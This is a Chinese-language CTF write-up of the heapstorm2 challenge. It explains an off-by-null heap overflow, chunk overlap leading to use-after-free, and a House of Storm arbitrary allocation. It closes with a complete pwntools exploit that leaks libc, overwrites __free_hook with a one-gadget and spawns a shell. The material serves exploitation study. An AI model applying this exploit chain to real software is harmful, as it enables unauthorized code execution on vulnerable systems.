0%

off by null

aoff by null

简单地说就是堆溢出只能溢出一个字节,而且溢出的这个字节是\x00,如果我们申请的堆是以8结束的,那就刚好可以修改下一个chunk的size的最后一个字节为\x00

这个漏洞也是单个自己没啥用,一般配合unlink达成overlap(好像是这么叫的)。

大致思路就是free时触发unlink但是不是合并这个chunk的上一个chunk,而是合并上上个chunk,这样新合并的chunk里就含有一个没有free的堆,此时这个堆还有一个指针指向他,然后再把他申请出来,这样就有两个指针指向他了,构成了ufa

就用heapstorm2来实现offbynull

下面是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
int sub_D92()
{
puts("1. Allocate");
puts("2. Update");
puts("3. Delete");
puts("4. View");
puts("5. Exit");
return printf("Command: ");
}
//这是几个功能
void __fastcall add(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 15; ++i )
{
if ( !sub_BCC(a1, *(_QWORD *)(16 * (i + 2LL) + a1 + 8)) )
{
printf("Size: ");
v2 = sub_1551();
if ( v2 > 12 && v2 <= 4096 )
{
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
*(_QWORD *)(16 * (i + 2LL) + a1 + 8) = sub_BCC(a1, v2);
*(_QWORD *)(16 * (i + 2LL) + a1) = sub_BB0(a1, v3);
printf("Chunk %d Allocated\n", (unsigned int)i);
}
else
{
puts("Invalid Size");
}
return;
}
}
}
int __fastcall update(_QWORD *a1)
{
int v2; // [rsp+10h] [rbp-20h]
int v3; // [rsp+14h] [rbp-1Ch]
__int64 v4; // [rsp+18h] [rbp-18h]

printf("Index: ");
v2 = sub_1551();
if ( v2 < 0 || v2 > 15 || !sub_BCC(a1, a1[2 * v2 + 5]) )
return puts("Invalid Index");
printf("Size: ");
v3 = sub_1551();
if ( v3 <= 0 || v3 > (unsigned __int64)(sub_BCC(a1, a1[2 * v2 + 5]) - 12) )
return puts("Invalid Size");
printf("Content: ");
v4 = sub_BB0(a1, a1[2 * v2 + 4]);
sub_1377(v4, v3);
strcpy((char *)(v3 + v4), "HEAPSTORM_II");
return printf("Chunk %d Updated\n", (unsigned int)v2);
}
int __fastcall free(__int64 a1)
{
void *v2; // rax
int v3; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
v3 = sub_1551();
if ( v3 < 0 || v3 > 15 || !sub_BCC(a1, *(_QWORD *)(16 * (v3 + 2LL) + a1 + 8)) )
return puts("Invalid Index");
v2 = (void *)sub_BB0(a1, *(_QWORD *)(16 * (v3 + 2LL) + a1));
free(v2);
*(_QWORD *)(16 * (v3 + 2LL) + a1) = sub_BB0(a1, 0LL);
*(_QWORD *)(16 * (v3 + 2LL) + a1 + 8) = sub_BCC(a1, 0LL);
return printf("Chunk %d Deleted\n", (unsigned int)v3);
}
int __fastcall show(_QWORD *a1)
{
__int64 v2; // rbx
__int64 v3; // rax
int v4; // [rsp+1Ch] [rbp-14h]

if ( (a1[3] ^ a1[2]) != 322401073LL )
return puts("Permission denied");
printf("Index: ");
v4 = sub_1551();
if ( v4 < 0 || v4 > 15 || !sub_BCC(a1, a1[2 * v4 + 5]) )
return puts("Invalid Index");
printf("Chunk[%d]: ", (unsigned int)v4);
v2 = sub_BCC(a1, a1[2 * v4 + 5]);
v3 = sub_BB0(a1, a1[2 * v4 + 4]);
sub_14D4(v3, v2);
return puts(byte_180A);
}

这就是几个重要的功能,add是申请一个堆,然后把堆地址和size异或后在储存在程序自己申请的一个内存空间里(第一次见地址异或),update是向指定堆里写入,不过有size限制,只能输入size-12个字符,然后程序还会在补充12个字符,然后再补充一个\x00,这就构成offbynull了,free也没ufa.

看一下保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开

回归分析程序本身,刚分析时发现有offbynull,可以利用这一点完成ufa.

先申请几个堆

1
2
3
add(0x18)#0
add(0x508)#1
add(0x18)#2

看一看内存情况

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55c8c5183000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55c8c5183020
Size: 0x511

Allocated chunk | PREV_INUSE
Addr: 0x55c8c5183530
Size: 0x21

大致思路,把chunk1分成两个chunk(姑且称为chunk3和chunk4),然后利用chunk2合并chunk3

先简单说一下unlink时的步骤,首先会判断这个chunk的prev_inuse是否为0,如果为0,就代表上个chunk是空闲的,然后再通过prev_size来索引到上个chunk合并,合并完后最后的size就是这个chunk的size加上prev_size的值。

一般chunk的prev_size就是上一个物理相邻的chunk的大小,prev_size一般在上一个chunk被申请或者释放是改变,如果我们什么都不做,当chunk4被申请下来时,prev-size就是0,因为chunk4不是空闲的,而且prev_inuse是1,根本不会发生unlink,要使prev_size一直是0x510,那就要对chunk1进行布置,当申请chunk3和chunk4时不会索引到prev_size来改变他的值,这就涉及另一个索引方式了,当一个chunk在bins上被申请时,会根据其size值索引到下一个物理相邻的chunk的prev_size,然后根据申请情况改变这个prev_size的值。

总结 :.要使prev_inuse为0,其次prev_size=0x510不改变

要完成这两步要在堆上布置两处地方,一个是chunk1的size位,让其被申请回来时不索引到chunk2,另一个是伪造chunk1的prev_size,通过chunk1的size索引到这个地方,改变伪造的prev_size(或许还有验证)

先让chunk2的prev_inuse为0,只要把chunk1给free掉就好了。然后要改变chunk1的size让其索引到伪造的prev_size,我们可以把chunk1的size由0x510改成0x500,只要伪造prev_size到对应位置就好了。

1
2
3
4
5
6
7
update(1,'s'*0x4f0+p64(0x500))
free(1)
update(0,'s'*(0x18-12))
add(0x18)#1
add(0x4d8)# 7 overlap
free(1)
free(2)

这样就完成了overlap,可以看一下内存情况

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/20gx 0x561071a20020
0x561071a20020: 0x49495f4d524f5453 0x0000000000000531->1
0x561071a20030: 0x00007fe7da00ab78 0x00007fe7da00ab78
0x561071a20040: 0x0000000000000000 0x0000000000000000->7
0x561071a20050: 0x0000000000000000 0x0000000000000000
0x561071a20060: 0x0000000000000000 0x0000000000000000
0x561071a20070: 0x0000000000000000 0x0000000000000000
0x561071a20080: 0x0000000000000000 0x0000000000000000
0x561071a20090: 0x0000000000000000 0x0000000000000000
0x561071a200a0: 0x0000000000000000 0x0000000000000000
0x561071a200b0: 0x0000000000000000 0x0000000000000000

可以看见chunk1和chunk2合并了,然后合并的chunk包含chunk7(此时有一个指针指向他),然后再把chunk申请出来,就有两个指针指向chunk7了,构成了ufa,

chunk7是 large所以可以用houseofstorm来打0x13370800.此时只需要再来一个可以控制的chunk就好了,如法炮制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
add(0x18)#0
add(0x508)#1
update(1,'s'*0x4f0+p64(0x500))
add(0x18)#2
add(0x18)#3
add(0x508)#4
update(1,'s'*0x4f0+p64(0x500))
add(0x18)#5
add(0x18)#6

free(1)
update(0,'s'*(0x18-12))
add(0x18)#1
add(0x4d8)#7 overlap
free(1)
free(2)
# add(0x18)
# add(0x4d8)
add(0x38)#1
add(0x4e8)#2

update(4,'s'*0x4f0+p64(0x500))
free(4)
update(3,'s'*(0x18-12))
add(0x18)#4
add(0x4d8)#8
free(4)
free(5)
add(0x48)#4

这样就能控制两个chunkl的fd,bk,fd_nextsize,bk_size了,让这两个一个在large一个在unsorted,其中一个chunk是chunk2,大小为0x4f0,一个现在还待在unsortefd,大小为0x4e0,构成houseofstorm得要一个较小的在largebin上,一个较大的在unsorted上,通过两次free(2)完成这一步

到这里就已经完成了houseofstorm的前置条件了,下面就通过houseofstorm来完成任意地址申请就好了。

houseofstorm前面捋过了,就不展开赘述了

下面是完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from os import system
from pwn import *
context.log_level='debug'
elf=ELF('./heapstorm2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
ogg=[0x45226,0x4527a,0xf03a4,0xf1247]
def add(size):
sh.recvuntil('Command: ')
sh.sendline('1')
sh.recvuntil('Size: ')
sh.sendline(str(size))

def update(index,content):
sh.recvuntil('Command: ')
sh.sendline('2')
sh.recvuntil("Index: ")
sh.sendline(str(index))
sh.recvuntil('Size: ')
sh.sendline(str(len(content)))
sh.recvuntil("Content: ")
sh.send(content)

def free(index):
sh.recvuntil('Command: ')
sh.sendline('3')
sh.recvuntil("Index: ")
sh.sendline(str(index))

def show(index):
sh.recvuntil('Command: ')
sh.sendline('4')
sh.recvuntil('Index: ')
sh.sendline(str(index))

i=1
def pwn():
while True:
#sh=process('./heapstorm2')
#sh=remote('node4.buuoj.cn',29023)
#gdb.attach(sh,"b main")
add(0x18)#0
add(0x508)#1
update(1,'s'*0x4f0+p64(0x500))
add(0x18)#2
add(0x18)#3
add(0x508)#4
update(1,'s'*0x4f0+p64(0x500))
add(0x18)#5
add(0x18)#6

free(1)
update(0,'s'*(0x18-12))
add(0x18)#1
add(0x4d8)#7 overlap
free(1)
free(2)
# add(0x18)
# add(0x4d8)
add(0x38)#1
add(0x4e8)#2

update(4,'s'*0x4f0+p64(0x500))
free(4)
update(3,'s'*(0x18-12))
add(0x18)#4
add(0x4d8)#8
free(4)
free(5)
add(0x48)#4

free(2)
add(0x4e8)#2
free(2)

#unsorted bin
fake_chunk=0x13370800-0x20
p1=p64(0)*2+p64(0)+p64(0x4f1)
p1+=p64(0)+p64(fake_chunk)
update(7,p1)

#large bin
p=p64(0)*4+p64(0)+p64(0x4e1)
p+=p64(0)+p64(fake_chunk+8)
p+=p64(0)+p64(fake_chunk-0x18-5)
update(8,p)
add(0x48)#2
p2=p64(0)*5+p64(0x13377331)
p2+=p64(0x13370800)
update(2,p2)
p3=p64(0)*3+p64(0x13377331)+p64(0x13370800)
p3+=p64(0x1000)+p64(fake_chunk+3)+p64(8)
update(0,p3)
show(1)
sh.recvuntil(']: ')
heap=u64(sh.recv(6).ljust(8,'\x00'))
print hex(heap)
p3=p64(0)*3+p64(0x13377331)+p64(0x13370800)
p3+=p64(0x1000)+p64(heap+0x10)+p64(8)
update(0,p3)
show(1)
sh.recvuntil(']: ')
hook_base=u64(sh.recv(6).ljust(8,'\x00'))-0x58-0x10
libc_base=hook_base-libc.symbols['__malloc_hook']
print hex(libc_base)
free_hook=libc_base+libc.symbols['__free_hook']
p3=p64(0)*3+p64(0x13377331)+p64(0x13370800)
p3+=p64(0x1000)+p64(free_hook)+p64(0x8)
update(0,p3)
update(1,p64(ogg[1]+libc_base))
free(1)
sh.interactive()
if __name__ == "__main__":
while True:
sh = process('./heapstorm2')
try:
pwn()
except:
sh.close()